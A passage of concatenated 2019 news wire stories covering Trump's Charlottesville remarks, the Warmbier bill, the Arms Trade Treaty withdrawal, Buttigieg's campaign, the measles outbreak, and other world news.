understood that money had been exchanged in previous releases of U.S. prisoners and was justified as "hospital costs," but he gave no further details. In another interview on CNN, Yun said the United States did not pay any ransom for American prisoners held by Pyongyang while he was the special representative for North Korea. He left the post in March 2018. The bill was sent to the Treasury Department and remained unpaid through 2017, the Post reported. It was not known if the administration later paid the bill. Representatives for the State Department did not respond to a request for comment. Warmbier, a University of Virginia student visiting North Korea as a tourist, was imprisoned in January 2016. North Korea state media said he was sentenced to 15 years of hard labour for trying to steal an item bearing a propaganda slogan from his hotel. Story continues Reached by phone, Fred Warmbier, Otto Warmbier's father, declined to comment on the report or to confirm the Post's account that he had said the hospital bill sounded like ransom. Trump has denied paying North Korea to release hostages. "I got back our hostages; I never paid them anything," he said at a September news conference. Warmbier's parents issued a sharp statement in March after Trump said he believed North Korean leader Kim Jong Un's assertion not to have known how their son was treated. The U.S. president also praised Kim's leadership after their second summit collapsed in February in Hanoi when the two sides failed to reach a deal for Pyongyang to give up its nuclear weapons. "Kim and his evil regime are responsible for the death of our son Otto," Fred and Cindy Warmbier said in March. "Kim and his evil regime are responsible for unimaginable cruelty and inhumanity. No excuses or lavish praise can change that." Trump said later he held North Korea responsible for the young man's death. A U.S. court in December ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. An Ohio coroner said Warmbier died from a lack of oxygen and blood to the brain. Pyongyang blamed botulism and ingestion of a sleeping pill and dismissed torture claims. (Reporting by Jeff Mason, Doina Chiacu and David Brunnstrom; additional reporting by Susan Heavey and Eric Beech; Editing by Chizu Nomiyama and James Dalgleish) President Donald Trump is again defending his comments about the deadly Unite the Right rally in Charlottesville, Va., in 2017, saying that the very fine people on both sides he was referring to did not include Neo-Nazis and white nationalists, but those who were protesting the removal of a Confederate statue. People were there protesting the taking down of the monument of Robert E. Leeeverybody knows that, Trump told reporters outside the White House on Friday. Trump called the Confederate army commander a great general and said his comments were about people who attended the rally because they felt very strongly about the monument. The Unite the Right rally had been advertised as an action to defend the Lee statue against the citys plans to remove it, but throughout the weekend some white nationalist attendees terrorized the local community, marching with torches and shouting racist chants. The events of the weekend ended in the death of counter-protester Heather Heyer, when James A. Fields Jr. drove his car through a crowd of people in the citys downtown pedestrian mall. In December 2018, a jury found the 21-year-old self-proclaimed Neo-Nazi guilty of first-degree murder. The presidents remarks come the day after former vice president Joe Biden announced his 2020 presidential bid in a video that has been criticized by some for using footage of the violence in Charlottesville. Biden said in the video that the President of the United States assigned a moral equivalence between those spreading hate and those with the courage to stand against it, when he praised both sides of the protests. We are in the battle for the soul of this nation, Biden said. If we give Donald Trump eight years in the White House, he will forever and fundamentally alter the character of this nationwho we are. And I cannot stand by and watch that happen. Story continues Some white nationalist groups have latched on to Trumps comments, like those on the Charlottesville Rally, to build momentum and recruit new members. In private chat logs leaked to the decentralized non-profit media collective, Unicorn Riot, one white nationalist group leader encouraged others to present themselves as Trump supporters, and not broadcast their radical views. Today I decided to get involved with my countys Republican party, he said. The GOP is essentially the White mans party at this point (it gets Whiter every election cycle), so it makes far more sense for us to subvert it than to create our own partyif youre unable to do activism for various reasons, Id like to encourage you to join your local Republican party. Separating his campaign from these groups will be an important task for Trump leading up to the 2020 presidential election if he wants to win cross-party votes. WASHINGTON President Donald Trump defended his widely criticized comments that there were fine people on "both sides" of the violent clashes in Charlottesville, Virginia, in 2017, saying the utterance was put "perfectly." "If you look at what I said, you will see that that question was answered perfectly," he told reporters outside the White House on Friday. "I was talking about people who went because they felt very strongly about the monument to Robert E. Lee, a great general. The violence in Charlottesville erupted after counter-protesters clashed with white nationalists and others who were part of the Unite the Right rally. Those groups were protesting Charlottesville's decision to remove a statue of the Confederate general Robert E. Lee. The violence left one woman dead. Trump's "both sides" comment prompted bipartisan outrage with many people viewing the wording as equating the actions of the white nationalists to those of the counter-protesters. It was not only morally ambiguous, it was equivocating, then-House Speaker Paul Ryan, a Republican, said at a CNN Town Hall, adding that Trump's comments were "wrong." Biden:Former VP uses Charlottesville as motivation for 2020 run: 'We are in the battle for the soul of this nation' White supremacy: White supremacist terror is rising, and Trump's policies kneecap our ability to fight back "People there were protesting the taking down of the monument to Robert E. Lee. Everybody knows that," Trump told reporters. The Charlottesville violence played a central role in new Democratic presidential candidate Joe Biden's campaign announcement video on Thursday. In the message, Biden attacked the president's reaction. "Trump stunned the world and shocked the conscience of this nation. He said there were some very fine people on both sides. Very fine people on both sides?" With those words, the president of the United States assigned a moral equivalence between those spreading hate and those with the courage to stand against it. And in that moment, I knew the threat to this nation was unlike any I had ever seen in my lifetime." Story continues Biden called Charlottesville "a defining moment for this nation in the last few years." We can't forget what happened in Charlottesville," he said. "Even more important, we have to remember who we are. This is America." Asked if he still believed there were very fine people on both sides, Trump defended the demonstrators aggrieved at the removal of the Lee statue, and went on to praise the legacy of the Confederate general. "Whether you like it or not, he was one of the great generals," he said. Analysts said organizers called the march to support white supremacy, not to protest statute removal. Trump "continues to use the bully pulpit of the presidency to provide cover for racist violence," said Nicole Hemmer, a presidential historian at the University of Virginia in Charlottesville. More:Who is running for president in 2020? An interactive guide Like what you're reading?: Download the USA TODAY app for more Tim Miller, an anti-Trump Republican, said the president is trying to re-write the history on the Charlottesville event. "The organizers spent the evening before the rally chanting 'Jews will not replace us' to clear up that this was a white supremacist gathering in case anyone was confused," Miller said. "Trump is using weasel words to defend these white supremacist marchers because he thinks they are his base supporters." This article originally appeared on USA TODAY: Trump defends response to Charlottesville violence, says he put it 'perfectly' with 'both sides' remark By James Oliphant MARSHALLTOWN, Iowa (Reuters) - Four years ago, Donald Trump campaigned in small towns like Marshalltown, Iowa, vowing to restore economic prosperity to the U.S. heartland. In his bid to replace Trump in the White House, Pete Buttigieg is taking a similar tack. The difference, he says, is that he can point to a model of success: South Bend, Indiana, the revitalized city where he has been mayor since 2012. The Democratic presidential contender has vaulted to the congested field's top tier in recent weeks, drawing media and donor attention for his youth, history-making status as the first openly gay major presidential candidate and a resume that includes military service in Afghanistan. But Buttigieg's main argument for his candidacy is that he is a turnaround artist in the mold of Trump, although the Democrat does not expressly invoke the comparison with the Republican president. Im not going around saying weve fixed every problem weve got, Buttigieg, 37, said after a house party with voters in Marshalltown. But Im proud of what we have done together, and I think its a very powerful story. Critics argue improving the fortunes of a Midwestern city of 100,000 people does not qualify Buttigieg, who has never held national office, for the presidency of a country of 330 million. Others say South Bend still has pockets of despair and that minorities, in particular, have failed to benefit from its growth. Buttigieg has told crowds in Iowa and elsewhere that his experience in reviving a struggling Rust Belt community allows him to make a case to voters that other Democratic candidates cannot. That may give him the means to win back some of the disaffected Democratic voters who turned their backs on Hillary Clinton in 2016 to vote for Trump. Watching Buttigieg at a union hall in Des Moines last week, Rick Ryan, 45, a member of the United Steelworkers, lamented how many of his fellow union workers voted for Trump. The president turned in the best performance by a Republican among union households since Ronald Reagan in 1984. Story continues Ryan said he hoped someone like Buttigieg could return them to the Democratic fold. Hes aware of the decline in the labor force in America, not just in Indiana or Des Moines or anywhere else, Ryan said. Jobs are going overseas. We need a find to way to bring that back." Randy Tucker, 56, of Pleasant Hill, Iowa, a member of the International Brotherhood of Electrical Workers, said Trump appealed to union members "desperate for somebody to reach out to them, to help them, to listen to their voice." Buttigieg could do the same, he said. "In my heart right now, he's No. 1." PAST VS. FUTURE Buttigieg stresses a key difference in his and Trump's approaches. Trump, he tells crowds, is mired in the past, promising to rebuild the 20th century industrial economy. Buttigieg argues the pledge is misleading and unrealistic. Buttigieg says his focus is on the future, and he often talks about what the country might look like decades from now. "The only way that we can cultivate what makes America great is to look to the future and not be afraid of it," Buttigieg said in Marshalltown. Buttigieg knows his sexual preference may be a barrier to winning some blue-collar voters. But he notes that after he came out as gay in 2015, he won a second term as mayor with 80 percent of the vote in conservative Indiana. Earlier this month, he announced his presidential bid at the hulking plant in South Bend that stopped making Studebaker autos more than 50 years ago. After lying dormant for decades, the building is being transformed into a high-tech hub after Buttigieg and other city leaders realized it would never again attract a large-scale industrial company. That building sat as a powerful reminder. We hoped we would get back that major employer that would fix our economy, said Jeff Rea, president of the regional Chamber of Commerce. Buttigieg is praised locally for spurring more than $100 million in downtown investment. During his two terms, unemployment has fallen to 4.1 percent from 11.8 percent. But a study released in 2017 by the nonprofit group Prosperity Now said not all of the citys residents had shared in its rebound. The median income for African-Americans remained half that of whites, while the unemployment rate for blacks was double. Regina Williams-Preston, a city councilor running to replace Buttigieg as mayor, credits him for the revitalized downtown. But she said he had a "blind spot" when it came to focusing on troubled neighborhoods like the one she represents and only grew more engaged after community pressure. "He understands it now," she said. "The next step is figuring out how to open the doors of opportunity for everyone." 'ONE OF US' Trump touts the fact that the United States added almost 300,000 manufacturing jobs last year as evidence he made good on his promise to restore the industrial sector. But that growth still left the country with fewer manufacturing jobs than in 2008. The robust U.S. economy is likely the presidents greatest asset in his re-election bid, particularly in states he carried in 2016 such as Iowa, Wisconsin, Michigan and Pennsylvania. He won Buttigieg's home state by 19 points over Clinton in 2016. Sean Bagniewski, chairman of the Democratic Party in Polk County, Iowa, said Buttigieg would be well positioned to compete with Trump in the Midwest. People love the fact that hes a mayor, said Bagniewski, who has not endorsed a candidate in the nominating contest. If you can talk about a positive future, and if you actually have experience that can do it, thats a compelling vision in Iowa." Nan Whaley, the mayor of Dayton, Ohio, which faces many of the same challenges as South Bend, agreed. "Hes one of us," Whaley said. "That helps. (Reporting by James Oliphant; Editing by Colleen Jenkins and Peter Cooney) WASHINGTON (AP) President Donald Trump said Friday that the U.S. did not pay $2 million to North Korea in 2017 to get American college student Otto Warmbier released from detention. Warmbier, a student at the University of Virginia, died in June 2017 shortly after he was flown home comatose after 17 months in captivity. He had been seized from a tour group while visiting North Korea in January 2016 and convicted on charges of trying to steal a propaganda poster and sentenced to 15 years of hard labor. North Korea, which has denied accusations by relatives that it tortured Warmbier, has said he was provided "medical treatments and care with all sincerity." A former U.S. official told The Associated Press on Thursday that a U.S. envoy sent to retrieve Warmbier signed an agreement to pay the $2 million on Trump's instructions. The official spoke on condition of anonymity to discuss a sensitive diplomatic matter. The Washington Post first reported the demand. Trump dismissed the reports and insisted no money was paid. "We did not pay money for our great Otto," Trump told reporters at the White House. "There was no money paid. "There was a fake news report that money was paid. I haven't paid money for any hostage that I've gotten. We don't pay money for hostages. The Otto case was a very unusual case. But no money was paid for Otto." North Korea has denied accusations by Warmbier's relatives that the student was tortured during captivity. ___ This story has been corrected to note that Warmbier died in 2017, not last year. Presidential candidate of the Peoples Democratic Party, PDP, Alhaji Atiku Abubakar, has threatened to pursue the imprisonment of the Chairman of the Independent National Electoral Commission, INEC Prof. Mahmood Yakubu, by filing contempt proceedings against him. This follows the alleged refusal of INEC to allow Atiku and the PDP have access to electoral materials used in the conduct of the election, as ordered by the Court of Appeal. Atiku who has also accused INEC of being bias and spreading falsehood, is likely to press contempt charge against the electoral body next week. The Court of Appeal in Abuja had on March 6 ordered INEC to allow Atiku and his party to inspect and obtain Certified True Copy (CTC) of election materials it used in the conduct of the presidential election. Atikus camp claims that INEC was yet to comply with the Atiku legal team, adding that it would have no choice but to seek the committal of Yakubu to prison for alleged disobedience to a valid order of court. A Senior Advocate of Nigeria, SAN, Chief Mike Ozekhome, told the press that all efforts to implement the order of the Court of Appeal were frustrated by the uncooperative stance of INEC. According to the senior lawyer, They have refused to cooperate with the Atiku legal team by making accessible to them ballot papers, electoral materials and other devices used during the election, which the Court of Appeal, Abuja ordered them to give to Atiku nearly two months ago. They have bluntly refused to do this. Every day we send lawyers there, they would not cooperate. If that be the case, they will likely force the Atiku legal team to issue forms 48 and 49 against INEC Chairman, Prof. Mahmood Yakubu, to be imprisoned for contempt of court because that is the only weapon in the hands of a person who had secured the order of a court, which is being violated with impunity just as INEC is currently doing. INEC had before, during and after the election maintained that they have a central server, which results from polling units will be transmitted electronically. It is on U-tube, online videos, newspapers, social media and others, yet the same INEC is suddenly filing a reply denying this thing. Donald Trump has re-enacted the Paris terror attacks in front of a group of gun owners and lovers during a speech to the National Rifle Association, where he also signalled his intention to deliver a major policy victory to the pro-gun group. During his wide ranging speech, Mr Trump claimed that the 2015 terror attack in the French capital was so deadly because of the countrys very strict gun control laws. He said that if there was one gun being carried by one person on the other side, it very well could've been a whole different result. Then, the president continued to re-enact the massacre, using his hands to imitate gun fire: Get over here! Boom. Get over here! Boom. And then they left. Mr Trumps pantomiming of a massacre that left 130 victims dead and more than 350 injured was accompanied by his declaration that he would pull his signature from the United Nations Arms Trade Treaty a global agreement intended to prevent illicit arms sales. The president cited concerns raised by conservative groups in opposition to the treaty, saying that the international agreement between roughly 100 countries would potentially subject US gun owners to internationally drafted rules. We will never allow foreign bureaucrats to trample on your Second Amendment freedom, Mr Trump said during his speech to the NRA in Indianapolis. Im officially announcing today that the United States will be revoking the effect of Americas signature from this badly misguided treaty. Gun control advocates quickly pushed back on the presidents decision to pull the US out of that treaty, which was singed by President Barack Obama but never ratified by Congress. Kris Brown, the president of the Brady Campaign, said that the presidents decision illustrated Mr Trumps eagerness to pander to the NRA, and that the decision would embolden terrorists. Today, President Trump chose to pander to the corporate gun lobby and shirk his responsibility to his country and the world. We should be doing everything in our power to stop gun violence, not export it, Mr Brown said. He continued: By denouncing the treaty today, President Trump will only embolden terrorists and other dangerous actors around the world. This is a dangerous, reckless move that will endanger countless Americans and other innocent people worldwide. In his first television interview since the release of the redacted version of the Mueller report, President Trump told Fox News host Sean Hannity on Thursday night that the investigation into Russian interference during the 2016 presidential election was a coup and an attempted overthrow of the United States government. Trump, who has largely avoided reporters since last week's release of the special counsel's report revealed at least 10 instances of possible obstruction of justice, called his good friend Hannity to discuss the findings. Or, more accurately, to rant to a pro-Trump audience about how there was no collusion and it's time for some payback. Having begun his broadcast by hyping a new Fox News story about texts previously released last year between former FBI officials Peter Strzok and Lisa Page, the conservative primetime star said he disagreed with the president when he said at the beginning of his presidency that he wanted to move past investigating 2016 Democratic presidential nominee Hillary Clinton. Do you regret saying that? Hannity asked, expressing an urgent need to get to the bottom of Clinton's private email server, something Hannity described last week as a current threat to national security. No, I don't regret saying it, Trump replied. When I won, they were all saying lock her up. Lock her up. I said no, no. Let's get on with life. That was different. Trump went on to claim that he felt differently now because shortly after the election, they started coming at us with the insurance policy, referring to the Russia probe. After railing against the investigation into Clinton's email server and claiming Clinton destroyed lives, the president called former FBI officials James Comey and Andrew McCabe dirty cops. This was a coup, Trump exclaimed. This was an attempted overthrow of the United States government... This was an overthrow and it's a disgraceful thing. Story continues The president also revisited his unsubstantiated March 2017 claim that President Obama had wiretapped him at Trump Tower during the election, boasting to Hannity that his assertion had received attention like you've never seen while admitting that it was based only on a little bit of a hunch. Trump said the claim blew up because they thought maybe I was wise to them. During his congressional testimony earlier this month, Attorney General William Barr prompted Democratic backlash when he said he believed spying did occur on the Trump campaign during 2016, remarks he would somewhat walk back later. Read more at The Daily Beast. By Roberta Rampton INDIANAPOLIS (Reuters) - President Donald Trump told the National Rifle Association on Friday he was pulling the United States out of an international arms treaty signed in 2013 by then-President Barack Obama but opposed by the NRA and other conservative groups. Trump told members of the gun lobby at an annual meeting he intends to revoke the status of the United States as a signatory to the Arms Trade Treaty, which was never ratified by the U.S. Senate. "We're taking our signature back," Trump said to thousands of cheering attendees, many wearing red hats emblazoned with the Republican president's "Make America Great Again" slogan. On Twitter, Trump called the decision a defence of "American sovereignty." In reversing the U.S. position on the pact, he wrote, "We will never allow foreign bureaucrats to trample on your Second Amendment freedoms." The NRA has long opposed the treaty, which regulates the $70 billion business in conventional arms and seeks to keep weapons out of the hands of human rights abusers. The lobbying group argues it would undermine domestic gun rights, a view the Obama administration rejected. The agreement covers weapons exports, ranging from small firearms to tanks, but not domestic sales. Trump said the United Nations would soon receive formal notice of the withdrawal. U.N. spokesman Stephane Dujarric called the treaty "a landmark achievement in the efforts to ensure responsibility in international arms transfers." U.N. officials said they were unaware Trump had been planning to revoke the U.S. signature. The NRA spent $30.3 million in support of Trump's 2016 presidential campaign, according to the Centre for Responsive Politics, a group that tracks campaign spending. The 193-nation U.N. General Assembly overwhelmingly approved the pact in April 2013 and the United States, the world's No. 1 arms exporter, voted in favour of it despite fierce opposition from the NRA. Story continues Dropping out of the treaty is part of a broader Trump administration overhaul of arms export policies to bolster a domestic industry that already dominates global weapons trade. Trump's action drew an immediate rebuke from international human rights groups. "The United States will now lock arms with Iran, North Korea and Syria as non-signatories to this historic treaty whose sole purpose is to protect innocent people from deadly weapons, said Oxfam America President Abby Maxman. So far 101 countries have formally joined onto the treaty. Another 29, including the United States, signed it, but have not yet formally joined. Ted Bromund, senior research fellow at the conservative Heritage Foundation, said the treaty "can only have the perverse effects of driving potential importers to buy from China or Russia" and other nations that are not party to the agreement. Rachel Stohl, director of the conventional defence programme at the Stimson Centre think-tank in Washington, said U.S. firearms makers could benefit, including Smith & Wesson owner American Outdoor Brands Corp, Sturm Ruger and Vista Outdoor, as well as Remington Outdoor Co, which owns Bushmaster, a brand of AR-15 assault rifle. Trump was joined on his trip to the NRA's meeting in Indianapolis by White House national security adviser John Bolton, an advocate of withdrawing the United States from international treaties out of concern they might undermine U.S. authority. With Friday's announcement, Trump continued his drive to roll back Obama-era initiatives. Nearly two years ago, Trump announced that the United States would withdraw from the Paris Climate Agreement, which aims to reduce global carbon emissions that scientists link to harmful climate change. Republicans argue the U.S. economy would suffer if it met the deal's carbon-reduction goals. In May, 2018, Trump pulled the United States out of a 2015 international deal that eased sanctions on Iran in exchange for strict limits being placed on Iran's nuclear activities. The United States has since reimposed some sanctions that had been suspended under the deal. Friday's speech marked the third consecutive year Trump has spoken to the annual meeting of the NRA. Since his election, he has been a vocal proponent of gun rights, a position that plays well with his political base. Trump banned "bump stocks" - rapid-fire gun attachments used in the October 2017 mass shooting that killed 58 people at a country music festival in Las Vegas. But he has sidestepped tough restrictions he considered after the February 2018 shooting at a high school in Parkland, Florida, in which 17 people were killed and embraced an NRA proposal for arming teachers to defend schools. (Reporting by Roberta Rampton in Indianapolis, Steve Holland, David Alexander and Mike Stone in Washington and Michelle Nichols in New York; Writing by Richard Cowan; Editing by David Gregorio and Tom Brown) So Don McGahn is in the presidents crosshairs. Whose side are you on? I ask because this is perhaps the perfect test for a special subgroup of Donald Trump supporters. Call them the But Gorsuchers. At the beginning of the Trump administration, when things got off to a rocky start, the go-to response from many Trump boosters was some version of Yes, but we got Neil Gorsuch on the Supreme Court. As things got more chaotic, it became a joke to say, Yeah, but Gorsuch after every embarrassing revelation or disturbing tweet. But from a conservative perspective that places a high priority on the court, this was an utterly defensible point of view. Many Republicans who were reluctant to vote for Trump came around only after he promised to pick judges exclusively from a list vetted by the conservative Federalist Society and the Heritage Foundation, a conservative think tank. This reassured the voters who had taken Trump seriously when he talked about putting his sister on the Supreme Court. If the opportunity to put a conservative on the court or deny Hillary Clinton a chance to do so was why you ultimately voted for him, then But Gorsuch was a fair retort. You dont hear But Gorsuch often these days, for two reasons. The first is entirely to Trumps credit again from a certain Republican or conservative perspective. Brett Kavanaugh is on the Supreme Court, too. Scores of excellent judges have been appointed to the lower courts. Weve seen tax cuts, deregulation, the partial dismantling of Obamacare, and a number of other conservative accomplishments on Trumps watch. His supporters reluctant and wholehearted alike have every reason to count these things in the pro column. Then theres the second reason, which is less favorable to Trump. Whether you call it the party line, right-wing political correctness, or simply a desire to cater to the presidents fragile ego, its simply not acceptable to publicly criticize Trump on the right. Prominent religious leaders feel compelled to dismiss Trumps sordid sexual history. Passionate constitutionalists simply shrug or celebrate Trumps words and deeds, no matter how contrary they may be to constitutional principles. You have to gush about his genius when theres little discernible wisdom in what he does, and you must marvel at his courage when theres none to be seen. Credit for Trumps wins is all his; blame for his losses is all somebody elses. Story continues The But Gorsuch argument is also known as the transactional case for Trump. You dont have to like or approve of what he does, but its worth putting up with because of the results. This is what you hear when you talk to Republican politicians and many prominent conservative activists and donors in private. But when was the last time you heard it on TV or talk radio? Indeed, the demand that everyone see the emperors new clothes is so powerful that criticizing or even being inconvenient to the presidents preferred messaging is seen not only as a kind of treason but as proof that the critic isnt really a conservative at all. Which brings me to McGahn, who until recently was considered a widely respected, unimpeachably conservative lawyer. I have no idea what the former White House counsels personal views on Trump are. But based on his actions, he was at minimum a conservative transactionalist. He didnt attack the president; he joined Trumps team. It was McGahns job to shepherd Gorsuch, Kavanaugh, and other judges through the confirmation process. By the time McGahn left the White House last year, not only had he scored two Supreme Court victories for the president, hed been a sherpa to 59 other federal judgeships. Also, according to the Mueller report, McGahn may well have saved the Trump presidency by refusing to follow the presidents orders to derail the Mueller probe. McGahn cooperated with special counsel Robert Muellers investigation. He didnt want to; he was told to by Trump and his legal team. Now, Trump is calling McGahn a liar. The president denies he told McGahn to fire Mueller. Trump and his attorney, Rudy Giuliani, have insinuated that McGahns handwritten notes from his conversations with the president are somehow fraudulent. Well see how things unfold, but it looks as if a lot of people, when forced to choose, will opt to throw McGahn under the bus, because loyalty to the president is now the definition of what it means to be a Republican or a conservative. And saying But Gorsuch wont help McGahn. (C) 2019 TRIBUNE CONTENT AGENCY, LLC More from National Review With Democrats in Congress reluctant to work with him on legislative proposals, President Donald Trump has been casting about for actions he can take on his own. When it comes to guns, he has long promised to do nothing that would restrict the rights of gun owners. But doing nothing isnt very photogenic for a showman like Trump. So on Friday, in front of the National Rifle Associations annual convention in Indianapolis, the President made a big show of undoing something. In a nearly hourlong speech, he announced he was pulling the U.S. from the Arms Trade Treaty and instructing Congress to stop the ratification process and return the treaty back to me in the Oval Office where I will dispose of it. The treaty is designed to limit international sales of conventional arms to prevent weapons from getting into the hands of human rights abusers. In part under pressure from the NRA, Congress had long stalled the Senate on its consideration of the treaty. Trumps action on Friday brought it to a complete halt but had no immediate practical effect. Trump called the Obama Administrations decision to commit to the treaty badly misguided and framed his step back as protecting American sovereignty and protecting gun rights. Under my Administration we will never surrender our American sovereignty to anyone, Trump said. We will never allow foreign bureaucrats to trample on your Second Amendment freedoms. We will never ratify the U.N. Arms Trade Treaty. I hope youre happy. The crowd at Lucas Oil Stadium in Indianapolis stood and applauded. The reaction seemed to surprise Trump, who apparently had thought the crowd might see the action as obscure. Im impressed. I didnt know too many of you would know that that is, Trump said, seeming to both compliment and insult the audience at once. A chant of U.S.A rose to a crescendo as Trump held up the pen he just used to sign a message asking the Senate to discontinue the treaty ratification process. They all want the pen. Should I give it to them? Trump said, and he tossed the pen into the audience. Story continues Trump relishes moments when he can sign something. But Trumps aides are struggling to gain traction on substantive legislative proposals that could show him getting things done as his term pushes deeper into its second half. White House officials are working to convince House Democrats to take up Trumps replacement to the North American Free Trade Agreement, and plan a public relations push in the next few months in rural states to make the case the agreement with Mexico will help the U.S. agriculture industry. Officials are also working to help move forward several bills in the Senate designed to lower prescription drug prices. In addition, there are preliminary talks about moving forward with plans to fund new highways, bridges and other pieces of U.S. infrastructure, but White House officials believe Democrats are reluctant to give Trump a political victory as the 2020 campaign approaches. Indianapolis (AFP) - President Donald Trump announced Friday that the United States would not abide by a UN treaty aimed at regulating the global arms trade, calling it "misguided" and an encroachment on US sovereignty. The US Senate never ratified the 2013 Arms Trade Treaty after former president Barack Obama endorsed it. Trump said he was revoking his predecessor's signature. "We will never surrender American sovereignty to anyone," Trump said in a speech to the National Rifle Association in Indianapolis. "We will never allow foreign bureaucrats to trample on your Second Amendment freedom," he said, referring to the constitutional right to bear arms. "And that is why my administration will never ratify the UN arms trade treaty." "I am officially announcing today that the United States will be revoking the effect of America's signature from this badly misguided treatment (sic). We're taking our signature back." The treaty, which entered into effect in December 2014, seeks to regulate the flow of weapons into conflict zones. It requires member countries to keep records of international transfers of weapons and to prohibit cross-border shipments that could be used in human rights violations or attacks on civilians. While 130 countries originally signed the treaty, only 101 have ratified and joined it. Those include major powers like France, Germany and the United Kingdom. - UN praises landmark achievement- The world's largest arms traders, the United States, China and Russia, have not joined. Asked about Trump's announcement, the United Nations praised the arms trade treaty as a "landmark achievement" in efforts to ensure responsibility in international arms transfers. UN spokesman Stephane Dujarric said the ATT is "the only global instrument aimed at improving transparency and accountability in the international arms trade." He said the treaty was "particularly important in present times, when we witness growing international tensions and renewed interest in expanding and modernizing arsenals." Story continues In a statement the White House said the treaty "fails to truly address the problem of irresponsible arms transfers, while providing a platform for those who would seek to constrain our ability to sell arms to our allies and partners." It also claimed that some groups are trying to use the treaty to overturn "sovereign national decisions" on arms exports -- pointing to one effort to block the British government's sale of weapons to Saudi Arabia. "The ATT is simply not needed for the United States to engage in responsible arms trade," the White House said. Washington (AFP) - President Donald Trump on Friday urged Americans to get vaccinated as a measles outbreak spread across the country, reaching the highest number of cases since 2000. "Vaccinations are so important," Trump told reporters at the White House. "They have to get their shots." The scale of the measles outbreak in the United States -- with 695 recorded cases since January 1 -- is dwarfed by the situation in Ukraine, which has clocked up some 25,000 patients and Madagascar with 46,000 cases of the disease. But it has been enough to set US health authorities on edge, shining a light on a number of vulnerable communities where parents have left their children unvaccinated -- many swayed by a wider "anti-vaxxer" movement which rejects the benefits of vaccinations or claims they are dangerous. Across the United States, more than 91 percent of children have received the first dose of the measles, mumps and rubella (MMR) vaccine by age three. But anti-vaccine sentiment -- often fueled by disinformation -- has sent immunization rates plummeting in so-called pockets. This year's US caseload -- the highest since the disease was declared eliminated almost two decades ago -- has been concentrated in three heavily Jewish areas in Brooklyn, Rockland County near New York, and near Detroit, and in a Russian-speaking community in Washington State. Earlier this month New York's mayor declared a public health emergency in heavily Orthodox Jewish parts of Brooklyn, ordering all residents to be vaccinated. And California authorities said Thursday that more than 250 people at two universities have been quarantined as health officials battle to contain the highly-infectious disease. The Department of Public Health said hundreds of students and staff at the University of California Los Angeles (UCLA) and California State University (Cal State) had been exposed to a measles carrier earlier this month. Those who couldn't prove they had been inoculated had been quarantined, it said. Story continues In the past, Trump has given some support to the anti-vaccination movement, claiming, for example, that heavy doses given to young infants may be linked to autism. "Massive combined inoculations to small children is the cause for big increase in autism," Trump said on Twitter in 2012. He reiterated that message while running for president in 2015. "Autism has become an epidemic. Twenty-five years ago, 35 years ago, you look at the statistics, not even close. It has gotten totally out of control. I am totally in favor of vaccines. But I want smaller doses over a longer period of time," Trump said during a presidential primary debate on CNN. - Global Spread - The anti-vaxxer movement, based on a scientifically debunked 1988 British report linking the MMR vaccine to autism, has surged in recent years with the rise of online conspiracy theories on social media. Repeated studies -- the most recent involving more than 650,000 children monitored for more than a decade -- have shown that there is no such link. An estimated 169 million children missed out on the vital first dose of the measles vaccine between 2010 and 2017, according to a UNICEF report. The number of cases of the disease had risen 300 percent worldwide in the first three months of 2019 compared to the same period last year, the UN said. The anti-vaxxer movement has adherents across the Western world but is particularly high profile in the United States. The US outbreak has been blamed in part on unvaccinated visitors contracting the disease during visits to both Israel and Ukraine. The New York outbreak has been traced to Orthodox Jews from Brooklyn visiting Israel, then spreading the highly infectious disease through synagogues, schools and apartment blocks to children whose parents had not had them inoculated. In Clark County, Washington, the disease has spiked among the Russian-speaking community after a child brought the virus back from Ukraine in December and it spread to 74 other people, mostly children, through schools, supermarkets and a bowling alley. Ukraine, which has experienced five years of simmering conflict with Russia on its eastern border region, has had at least 11 people die from the illness. Measles is one of the world's most contagious viruses. Spread by coughing or sneezing, the virus can linger in the air long after an infected person leaves a room. ISTANBUL (Reuters) - Turkish authorities have arrested a suspected Islamic State member they believe was planning to attack a World War One commemoration at Gallipoli attended by hundreds of Australians and New Zealanders, police said on Wednesday. The suspect, a Syrian national, was detained in Tekirdag, a northwestern province close to the Gallipoli peninsula, a Tekirdag police spokesman said. Every year, Australians and New Zealanders travel to Turkey for memorial services commemorating the failed 1915 military campaign by ANZAC and allied forces to drive Ottoman troops from Gallipoli and the Dardanelles region. On Wednesday, soldiers from New Zealand, Australia, Turkey and other countries held several services on the peninsula. At dawn on Thursday, Australians and New Zealanders are due to hold a special dawn service marking the landings by ANZAC (Australian and New Zealand Army Corps) forces. Demiroren news agency said the man was preparing for an attack on the commemorations in retaliation for the attacks on Muslims in mosques in New Zealand. The police spokesman did not specify which day the detained suspect may have been planning to carry out an attack. Turkey has said Islamic State was responsible for several bombings that took place in 2015 and 2016, which in total killed some 200 people. Although the militant group has not been active in Turkey of late, authorities still carry out routine operations against suspected Islamic State members. This year's ANZAC service takes place a month after Turkish President Tayyip Erdogan faced criticism from Australia and New Zealand for comments he made after a lone gunman killed 50 people in two mosques in the city of Christchurch on March 15. Erdogan played a video from the shootings at local election rallies and said the gunman had targeted Turkey by saying in a manifesto posted online that Turks should be removed from the European half of Istanbul. He also threatened to send back in coffins anyone who tried to take the battle to Istanbul. Australian Brenton Tarrant, 28, a suspected white supremacist, has been charged with 50 counts of murder for New Zealand's worst peacetime mass shooting. Fifty other people were injured in the attacks, which occurred during Friday prayers. (Reporting by Ali Kucukgocmen; Editing by Dominic Evans and Angus MacSwan) We have used your information to see if you have a subscription with us, but did not find one. Please use the button below to verify an existing account or to purchase a new subscription. ANKARA, April 26 (Reuters) - Turkey is trying to convince the United States to allow refiner Tupras, its biggest oil importer, to continue buying crude oil from Iran free of sanctions, Foreign Ministry spokesman Hami Aksoy said on Friday. Washington on Monday said it will not renew exemptions granted last year to buyers of Iranian oil, including Turkey, and it demanded that buyers stop purchases by May 1 or face sanctions. The decision was more stringent than expected, and caught several key importers who have been pleading with Washington to continue buying Iranian oil sanctions-free. (Reporting by Ece Toksabay; Writing by Ali Kucukgocmen; Editing by Jonathan Spicer) Boeung Trach (Cambodia) (AFP) - Twenty critically endangered 'Royal Turtles' were released into a remote stretch of a Cambodian river Friday -- a species once feared extinct because of hunting, trafficking and illegal sand mining. With chants from Buddhist monks and a flotilla of ceremonial flowers behind them, the reptiles inched into the Sre Ambel river system, in southwestern Preah Sihanouk province. Conservationists hope they will form new breeding populations. Cambodia is home to several populations of endangered turtles, coveted as delicacies and traditional medicine in Vietnam and China. Royal Turtles -- formally classified as Southern River Terrapins -- have been 